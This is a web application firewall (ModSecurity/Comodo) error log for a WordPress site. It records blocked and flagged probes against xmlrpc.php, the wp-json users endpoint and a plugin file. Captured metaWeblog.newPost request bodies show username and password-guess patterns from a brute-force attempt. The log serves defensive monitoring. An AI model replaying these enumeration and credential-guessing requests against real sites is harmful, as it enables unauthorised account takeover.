[Sun Mar 01 17:58:45.733623 2026] [:error] [pid 7133:tid 7145] [client 159.196.168.118:5962] [client 159.196.168.118] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||gigfragments.org|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "gigfragments.org"] [uri "/wp-json/wp/v2/users"] [unique_id "aaQN1fCtubh8pR64qB_4sAAAAEo"]
[Sun Mar 01 18:00:06.133849 2026] [:error] [pid 40750:tid 40772] [client 159.196.168.118:5770] [client 159.196.168.118] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 159.196.168.118, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aaQOJgfBuk03yQKDyqtSjQAAAdM"]
[Sun Mar 01 18:01:22.818459 2026] [:error] [pid 7165:tid 7190] [client 159.196.168.118:5654] [client 159.196.168.118] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 159.196.168.118, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aaQOchRjCrA8qWBjgG-Z6AAAAlc"]
[Sun Mar 01 18:02:42.676757 2026] [:error] [pid 7165:tid 7187] [client 159.196.168.118:5979] [client 159.196.168.118] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 159.196.168.118, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aaQOwhRjCrA8qWBjgG-bRwAAAlQ"]
[Sun Mar 01 18:04:03.526297 2026] [:error] [pid 40750:tid 40771] [client 159.196.168.118:5824] [client 159.196.168.118] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 159.196.168.118, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aaQPEwfBuk03yQKDyqtWZgAAAdI"]
[Sun Mar 01 18:05:29.495192 2026] [:error] [pid 7165:tid 7181] [client 159.196.168.118:5761] [client 159.196.168.118] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 159.196.168.118, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aaQPaRRjCrA8qWBjgG-dPwAAAk4"]
[Sun Mar 01 18:06:42.817322 2026] [:error] [pid 38241:tid 38257] [client 159.196.168.118:6125] [client 159.196.168.118] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 159.196.168.118, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aaQPsvKRPk6YnJBxw_yt7gAAAM0"]
[Sun Mar 01 18:08:00.092973 2026] [:error] [pid 7165:tid 7190] [client 159.196.168.118:5990] [client 159.196.168.118] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 159.196.168.118, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aaQQABRjCrA8qWBjgG-etgAAAlc"]
[Sun Mar 01 18:09:20.662523 2026] [:error] [pid 40750:tid 40767] [client 159.196.168.118:5634] [client 159.196.168.118] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 159.196.168.118, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aaQQUAfBuk03yQKDyqtbCAAAAc4"]
[Sun Mar 01 18:10:40.165604 2026] [:error] [pid 40750:tid 40776] [client 159.196.168.118:5708] [client 159.196.168.118] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 159.196.168.118, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aaQQoAfBuk03yQKDyqtccgAAAdc"]
[Sun Mar 01 18:11:59.398996 2026] [:error] [pid 37032:tid 37044] [client 159.196.168.118:5840] [client 159.196.168.118] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 159.196.168.118, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aaQQ7-u0U4o7eSImsVRmVgAAAYo"]
[Sun Mar 01 18:13:19.452709 2026] [:error] [pid 7165:tid 7188] [client 159.196.168.118:5912] [client 159.196.168.118] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 159.196.168.118, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aaQRPxRjCrA8qWBjgG-jnQAAAlU"]
[Sun Mar 01 18:14:40.334543 2026] [:error] [pid 37032:tid 37056] [client 159.196.168.118:6094] [client 159.196.168.118] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 159.196.168.118, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aaQRkOu0U4o7eSImsVRmxQAAAZY"]
[Sun Mar 01 18:51:40.655618 2026] [:error] [pid 7133:tid 7137] [client 51.75.151.149:55323] [client 51.75.151.149] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 51.75.151.149, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aaQaPPCtubh8pR64qB8NdAAAAEI"]
[Sun Mar 01 19:46:17.455337 2026] [:error] [pid 40750:tid 40773] [client 45.249.76.75:51604] [client 45.249.76.75] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||gigfragments.org|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "gigfragments.org"] [uri "/wp-json/wp/v2/users"] [unique_id "aaQnCQfBuk03yQKDyqvZAQAAAdQ"]
[Sun Mar 01 19:47:54.159189 2026] [:error] [pid 44644:tid 44662] [client 45.249.76.75:52802] [client 45.249.76.75] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 45.249.76.75, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aaQnap3RJaXMcw3y9V_UoQAAAA8"]
[Sun Mar 01 19:49:22.263334 2026] [:error] [pid 33822:tid 33829] [client 45.249.76.75:53984] [client 45.249.76.75] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 45.249.76.75, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aaQnwm6W3ygu1YVssuYKKgAAAoU"]
[Sun Mar 01 19:49:22.276249 2026] [:error] [pid 33822:tid 33829] [client 45.249.76.75:53984] [client 45.249.76.75] ModSecurity: Access denied with code 403 (phase 2). Invalid URL Encoding: Non-hexadecimal digits used at XML. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "73"] [id "210380"] [rev "6"] [msg "COMODO WAF: URL Encoding Abuse Attack Attempt||gigfragments.org|F|4"] [data "XML=metaWeblog.newPost1adminadmin.%wppass_u%title0x9d4bf007description0x9d4bf007mt_keywords0x9d4bf007mt_excerpt0x9d4bf0071"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aaQnwm6W3ygu1YVssuYKKgAAAoU"]
[Sun Mar 01 19:50:54.876728 2026] [:error] [pid 7165:tid 7171] [client 45.249.76.75:55150] [client 45.249.76.75] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 45.249.76.75, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aaQoHhRjCrA8qWBjgG8ABwAAAkQ"]
[Sun Mar 01 19:52:26.078059 2026] [:error] [pid 40750:tid 40773] [client 45.249.76.75:56300] [client 45.249.76.75] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 45.249.76.75, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aaQoegfBuk03yQKDyqvgQwAAAdQ"]
[Sun Mar 01 19:54:02.993187 2026] [:error] [pid 37032:tid 37036] [client 45.249.76.75:57283] [client 45.249.76.75] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 45.249.76.75, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aaQo2uu0U4o7eSImsVR0oAAAAYI"]
[Sun Mar 01 19:55:33.934521 2026] [:error] [pid 41780:tid 41806] [client 51.75.151.149:64432] [client 51.75.151.149] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/composer.json" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/wp-content/plugins/cidaas-pro-master/composer.json"] [unique_id "aaQpNcONkVoocLIqzy0m5gAAA9c"]
[Sun Mar 01 19:55:37.077301 2026] [:error] [pid 38241:tid 38248] [client 45.249.76.75:58279] [client 45.249.76.75] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 45.249.76.75, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aaQpOfKRPk6YnJBxw_zsdQAAAMQ"]
[Sun Mar 01 19:55:58.242641 2026] [:error] [pid 38241:tid 38268] [client 43.166.247.82:34954] [client 43.166.247.82] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "gigfragments.org"] [uri "/"] [unique_id "aaQpTvKRPk6YnJBxw_zstAAAANg"]
[Sun Mar 01 19:57:04.088708 2026] [:error] [pid 7165:tid 7179] [client 45.249.76.75:59154] [client 45.249.76.75] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 45.249.76.75, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aaQpkBRjCrA8qWBjgG8FXwAAAkw"]
[Sun Mar 01 19:58:28.142492 2026] [:error] [pid 38034:tid 38037] [client 45.249.76.75:59964] [client 45.249.76.75] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 45.249.76.75, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aaQp5AxtfZjwlJok9K8IKwAAAQE"]
[Sun Mar 01 20:00:01.463130 2026] [:error] [pid 7165:tid 7186] [client 45.249.76.75:60821] [client 45.249.76.75] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 45.249.76.75, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aaQqQRRjCrA8qWBjgG8HZQAAAlM"]
[Sun Mar 01 20:01:41.536538 2026] [:error] [pid 40750:tid 40768] [client 45.249.76.75:61829] [client 45.249.76.75] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 45.249.76.75, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aaQqpQfBuk03yQKDyqvr-gAAAc8"]
[Sun Mar 01 20:03:22.833277 2026] [:error] [pid 38241:tid 38246] [client 45.249.76.75:61257] [client 45.249.76.75] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 45.249.76.75, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aaQrCvKRPk6YnJBxw_zwOQAAAMI"]
[Sun Mar 01 20:05:02.473905 2026] [:error] [pid 41780:tid 41799] [client 45.249.76.75:62608] [client 45.249.76.75] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 45.249.76.75, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aaQrbsONkVoocLIqzy0ncwAAA9A"]
[Sun Mar 01 20:06:32.891847 2026] [:error] [pid 40750:tid 40754] [client 45.249.76.75:63687] [client 45.249.76.75] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 45.249.76.75, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aaQryAfBuk03yQKDyqvwhwAAAcE"]
[Sun Mar 01 20:06:32.894963 2026] [:error] [pid 40750:tid 40754] [client 45.249.76.75:63687] [client 45.249.76.75] ModSecurity: Access denied with code 403 (phase 2). Invalid URL Encoding: Non-hexadecimal digits used at XML. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "73"] [id "210380"] [rev "6"] [msg "COMODO WAF: URL Encoding Abuse Attack Attempt||gigfragments.org|F|4"] [data "XML=metaWeblog.newPost1admingigfragments333%wppass_d%title0x547e6f49description0x547e6f49mt_keywords0x547e6f49mt_excerpt0x547e6f491"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aaQryAfBuk03yQKDyqvwhwAAAcE"]
[Sun Mar 01 20:08:03.541900 2026] [:error] [pid 40750:tid 40753] [client 45.249.76.75:64791] [client 45.249.76.75] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 45.249.76.75, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aaQsIwfBuk03yQKDyqvxmgAAAcA"]
[Sun Mar 01 20:09:17.488566 2026] [:error] [pid 40750:tid 40756] [client 45.249.76.75:49231] [client 45.249.76.75] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 45.249.76.75, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aaQsbQfBuk03yQKDyqvzTgAAAcM"]
[Sun Mar 01 20:10:28.413170 2026] [:error] [pid 40750:tid 40755] [client 45.249.76.75:50017] [client 45.249.76.75] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 45.249.76.75, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aaQstAfBuk03yQKDyqv1fwAAAcI"]
[Sun Mar 01 20:11:41.022536 2026] [:error] [pid 7165:tid 7175] [client 45.249.76.75:50789] [client 45.249.76.75] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 45.249.76.75, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aaQs_RRjCrA8qWBjgG8O4wAAAkg"]
[Sun Mar 01 20:11:41.025256 2026] [:error] [pid 7165:tid 7175] [client 45.249.76.75:50789] [client 45.249.76.75] ModSecurity: Access denied with code 403 (phase 2). Invalid URL Encoding: Non-hexadecimal digits used at XML. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "73"] [id "210380"] [rev "6"] [msg "COMODO WAF: URL Encoding Abuse Attack Attempt||gigfragments.org|F|4"] [data "XML=metaWeblog.newPost1admin%gigfragmentstitle0x05431d72description0x05431d72mt_keywords0x05431d72mt_excerpt0x05431d721"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aaQs_RRjCrA8qWBjgG8O4wAAAkg"]
[Sun Mar 01 20:12:45.369635 2026] [:error] [pid 38034:tid 38051] [client 45.249.76.75:51484] [client 45.249.76.75] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 45.249.76.75, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aaQtPQxtfZjwlJok9K8KsgAAAQ0"]
[Sun Mar 01 20:12:45.378586 2026] [:error] [pid 38034:tid 38051] [client 45.249.76.75:51484] [client 45.249.76.75] ModSecurity: Access denied with code 403 (phase 2). Invalid URL Encoding: Non-hexadecimal digits used at XML. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "73"] [id "210380"] [rev "6"] [msg "COMODO WAF: URL Encoding Abuse Attack Attempt||gigfragments.org|F|4"] [data "XML=metaWeblog.newPost1admingigfragments_123%wppass_d%title0xc5537d2cdescription0xc5537d2cmt_keywords0xc5537d2cmt_excerpt0xc5537d2c1"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aaQtPQxtfZjwlJok9K8KsgAAAQ0"]
[Sun Mar 01 20:13:49.160144 2026] [:error] [pid 40750:tid 40764] [client 45.249.76.75:52096] [client 45.249.76.75] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 45.249.76.75, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aaQtfQfBuk03yQKDyqv47wAAAcs"]
[Sun Mar 01 20:13:49.163833 2026] [:error] [pid 40750:tid 40764] [client 45.249.76.75:52096] [client 45.249.76.75] ModSecurity: XML parser error: XML: Failed parsing document. [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aaQtfQfBuk03yQKDyqv47wAAAcs"]
[Sun Mar 01 20:13:49.165184 2026] [:error] [pid 40750:tid 40764] [client 45.249.76.75:52096] [client 45.249.76.75] ModSecurity: Warning. Match of "eq 0" against "REQBODY_ERROR" required. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "27"] [id "210230"] [rev "2"] [msg "COMODO WAF: The request body could not be parsed. Possibility of an impedance mismatch attack. This is not a false positive.||gigfragments.org|F|2"] [data "XML parser error: XML: Failed parsing document."] [severity "CRITICAL"] [tag "CWAF"] [tag "Protocol"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aaQtfQfBuk03yQKDyqv47wAAAcs"]
[Sun Mar 01 20:14:59.069847 2026] [:error] [pid 7165:tid 7170] [client 45.249.76.75:58099] [client 45.249.76.75] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 45.249.76.75, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aaQtwxRjCrA8qWBjgG8QkAAAAkM"]
[Sun Mar 01 20:14:59.073062 2026] [:error] [pid 7165:tid 7170] [client 45.249.76.75:58099] [client 45.249.76.75] ModSecurity: Access denied with code 403 (phase 2). Invalid URL Encoding: Non-hexadecimal digits used at XML. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "73"] [id "210380"] [rev "6"] [msg "COMODO WAF: URL Encoding Abuse Attack Attempt||gigfragments.org|F|4"] [data "XML=metaWeblog.newPost1adminadmin%%wppass_u%title0xa5e4019ddescription0xa5e4019dmt_keywords0xa5e4019dmt_excerpt0xa5e4019d1"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aaQtwxRjCrA8qWBjgG8QkAAAAkM"]
[Sun Mar 01 20:15:53.559098 2026] [:error] [pid 40750:tid 40769] [client 45.249.76.75:58596] [client 45.249.76.75] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 45.249.76.75, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aaQt-QfBuk03yQKDyqv6VgAAAdA"]
[Sun Mar 01 20:16:55.272116 2026] [:error] [pid 40750:tid 40754] [client 45.249.76.75:59142] [client 45.249.76.75] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 45.249.76.75, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aaQuNwfBuk03yQKDyqv7mwAAAcE"]
[Sun Mar 01 20:16:55.275685 2026] [:error] [pid 40750:tid 40754] [client 45.249.76.75:59142] [client 45.249.76.75] ModSecurity: Access denied with code 403 (phase 2). Invalid URL Encoding: Non-hexadecimal digits used at XML. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "73"] [id "210380"] [rev "6"] [msg "COMODO WAF: URL Encoding Abuse Attack Attempt||gigfragments.org|F|4"] [data "XML=metaWeblog.newPost1gigfragments.orggigfragments.org.%wppass_u%title0xa18ca6cddescription0xa18ca6cdmt_keywords0xa18ca6cdmt_excerpt0xa18ca6cd1"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aaQuNwfBuk03yQKDyqv7mwAAAcE"]
[Sun Mar 01 20:18:02.251158 2026] [:error] [pid 40750:tid 40766] [client 45.249.76.75:59650] [client 45.249.76.75] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 45.249.76.75, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aaQuegfBuk03yQKDyqv8pwAAAc0"]
[Sun Mar 01 20:18:53.038091 2026] [:error] [pid 7165:tid 7169] [client 45.249.76.75:59930] [client 45.249.76.75] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 45.249.76.75, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aaQurRRjCrA8qWBjgG8SOQAAAkI"]
[Sun Mar 01 20:19:53.098595 2026] [:error] [pid 7133:tid 7151] [client 45.249.76.75:60185] [client 45.249.76.75] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 45.249.76.75, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aaQu6fCtubh8pR64qB8wMwAAAFA"]
[Sun Mar 01 20:21:05.156619 2026] [:error] [pid 40750:tid 40762] [client 45.249.76.75:60479] [client 45.249.76.75] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 45.249.76.75, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aaQvMQfBuk03yQKDyqv_VwAAAck"]
[Sun Mar 01 20:21:59.850142 2026] [:error] [pid 40750:tid 40768] [client 45.249.76.75:60709] [client 45.249.76.75] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 45.249.76.75, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aaQvZwfBuk03yQKDyqsAFAAAAc8"]
[Sun Mar 01 20:23:06.542230 2026] [:error] [pid 38034:tid 38062] [client 45.249.76.75:61331] [client 45.249.76.75] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 45.249.76.75, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aaQvqgxtfZjwlJok9K8L_QAAARg"]
